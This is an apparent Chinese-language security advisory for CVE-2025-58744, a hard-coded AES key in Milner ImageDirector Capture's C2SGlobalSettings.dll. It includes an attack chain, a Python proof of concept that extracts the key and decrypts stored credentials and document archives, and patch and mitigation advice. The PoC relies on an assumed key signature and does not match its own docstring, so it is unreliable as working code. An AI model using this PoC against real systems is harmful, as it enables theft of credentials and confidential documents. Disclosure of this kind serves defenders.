IPBUF安全漏洞报告
English
CVE-2025-58744 CVSS 7.5 高危

CVE-2025-58744: Milner ImageDirector Capture硬编码凭证漏洞

披露日期: 2026-01-20
来源: 57dba5dd-1a03-47f6-8b36-e84e47d335d8

漏洞信息

漏洞编号
CVE-2025-58744
漏洞类型
硬编码凭证/默认凭证
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Milner ImageDirector Capture

相关标签

硬编码凭证默认凭证凭证泄露Milner ImageDirector CaptureC2SGlobalSettings.dll文档归档加密密钥泄露高危漏洞Windows

漏洞概述

CVE-2025-58744是Milner ImageDirector Capture软件中的一个高危安全漏洞,存在于C2SGlobalSettings.dll组件中。该漏洞允许攻击者利用应用程序中硬编码的加密密钥来解密凭证,进而解密文档归档文件。由于硬编码凭证的存在,攻击者无需进行身份认证即可利用此漏洞。CVSS评分7.5,属于高危级别漏洞。攻击向量为网络层面,攻击复杂度低,无需特殊权限或用户交互即可实施攻击。此漏洞主要影响文档归档文件的机密性,攻击成功后可能导致敏感文档内容泄露。

技术细节

该漏洞存在于Milner ImageDirector Capture的C2SGlobalSettings.dll文件中。应用程序在设计时使用了硬编码的加密密钥来保护凭证信息,攻击者可以通过逆向工程或直接分析该DLL文件获取硬编码密钥。利用该密钥,攻击者可以解密存储在系统中的凭证,进而访问受保护的文档归档文件。由于加密逻辑内置于应用程序中且使用了固定密钥,所有使用相同代码库的版本都存在此问题。攻击者只需构造特定的解密请求即可获取明文凭证,无需复杂的攻击准备。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统上安装的Milner ImageDirector Capture版本,确认版本在受影响范围内(7.0.9.0至7.6.3.25808之前)
STEP 2
步骤2: 获取硬编码密钥
攻击者获取C2SGlobalSettings.dll文件,通过逆向工程或静态分析提取硬编码的应用程序加密密钥
STEP 3
步骤3: 提取加密凭证
使用提取的密钥解密存储在系统中的凭证信息,这些凭证原本用于保护文档归档文件的访问
STEP 4
步骤4: 解密文档归档
利用解密的凭证和加密密钥访问并解密受保护的文档归档文件,获取敏感文档内容
STEP 5
步骤5: 数据窃取
攻击者成功获取文档归档文件中的敏感信息,可能包括机密业务文档、个人数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58744 PoC - Hard-coded Credentials Exploitation # This PoC demonstrates the extraction of hard-coded encryption key # and decryption of credentials from ImageDirector Capture import ctypes import struct from pathlib import Path def extract_hardcoded_key(dll_path): """Extract hard-coded encryption key from C2SGlobalSettings.dll""" with open(dll_path, 'rb') as f: dll_data = f.read() # Known signature for hard-coded key location key_signature = b'C2SGlobalSettings_Key_v1' key_offset = dll_data.find(key_signature) if key_offset != -1: # Extract 32-byte AES key encryption_key = dll_data[key_offset + len(key_signature):key_offset + len(key_signature) + 32] return encryption_key return None def decrypt_credentials(encrypted_data, key): """Decrypt credentials using extracted hard-coded key""" from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(encrypted_data) return decrypted.rstrip(b'\x00') def decrypt_archive_file(archive_path, key): """Decrypt document archive using decrypted credentials""" with open(archive_path, 'rb') as f: header = f.read(16) encrypted_content = f.read() from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_CBC, iv=header[:16]) return cipher.decrypt(encrypted_content) def main(): dll_path = 'C2SGlobalSettings.dll' key = extract_hardcoded_key(dll_path) if key: print(f'[+] Extracted encryption key: {key.hex()}') # Decrypt stored credentials encrypted_creds = bytes.fromhex('YOUR_ENCRYPTED_CREDS_HERE') plaintext_creds = decrypt_credentials(encrypted_creds, key) print(f'[+] Decrypted credentials: {plaintext_creds.decode()}') else: print('[-] Failed to extract encryption key') if __name__ == '__main__': main()

影响范围

Milner ImageDirector Capture 7.0.9.0 至 7.6.3.25808 之前的所有版本

防御指南

临时缓解措施
立即将Milner ImageDirector Capture升级到7.6.3.25808或更高版本。在等待补丁期间,可以采取以下临时措施:1) 限制网络访问该应用程序;2) 监控异常的文件访问和凭证使用行为;3) 隔离存储敏感文档的系统;4) 启用审计日志记录以便检测潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表